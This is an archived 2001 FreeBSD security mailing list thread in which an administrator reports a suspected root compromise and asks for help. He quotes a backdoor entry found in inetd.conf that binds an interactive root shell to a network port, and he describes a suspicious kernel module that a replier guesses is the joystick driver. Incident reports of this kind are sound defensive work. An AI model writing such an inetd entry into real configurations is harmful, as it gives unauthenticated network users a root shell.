From owner-freebsd-security Thu Nov 1 7:29:11 2001 Delivered-To: freebsd-security@freebsd.org Received: from mailhost.hashdot.org.uk (indi.hashdot.org.uk [194.203.125.171]) by hub.freebsd.org (Postfix) with ESMTP id A9A8A37B406 for ; Thu, 1 Nov 2001 07:29:04 -0800 (PST) Received: from mailhost.hashdot.org.uk (mailhost.hashdot.org.uk [194.203.125.170]) by mailhost.hashdot.org.uk (8.9.3/8.9.3) with ESMTP id CAA03331; Sat, 9 Aug 1997 02:26:49 +0100 Date: Sat, 9 Aug 1997 02:26:49 +0100 (BST) From: Lee Quinton To: Ralph Huntington Cc: freebsd-security@FreeBSD.ORG Subject: Re: strange inetd.conf entry In-Reply-To: <20011101101825.U79615-100000@mohegan.mohawk.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org On Thu, 1 Nov 2001, Ralph Huntington wrote: > I did find this kernel module, but I have no idea what it is. I presume at > this point that the root shell acquired through inetd was for the purpose > of loading this module. Anyone recognize it? Anyone want it for analysis? > > hogan@klink:/etc# ll /usr/bin/joy > -r-xr-xr-x 1 root wheel 100 Jul 4 12:05 /usr/bin/joy isnt that for a joystick? Lee > > hogan@klink:/etc# cat /usr/bin/joy > #!/bin/sh > # $FreeBSD: src/sys/modules/joy/joy.sh,v 1.5 1999/08/28 00:47:23 peter Exp $ > > kldload joy > > > hogan@klink:/etc# ll /modules/joy.ko > -r-xr-xr-x 1 root wheel 6755 Jul 4 12:05 /modules/joy.ko > > > On Thu, 1 Nov 2001, Ralph Huntington wrote: > > > I have that sinking feeling. I discovered this line at the end of > > inetd.conf on one of our servers: > > > > dlip stream tcp nowait root /bin/sh sh -i > > > > Looks like a root compromise. Sure enough, telnet'ing to the dlip port > > provides what *looks* like a root shell, but I don't seem to be able to do > > anything with it. Pretty mysterious. > > > > Can anyone offer a clue? Thanks in advance, Ralph > > > > > > > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > > with "unsubscribe freebsd-security" in the body of the message > > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-security" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message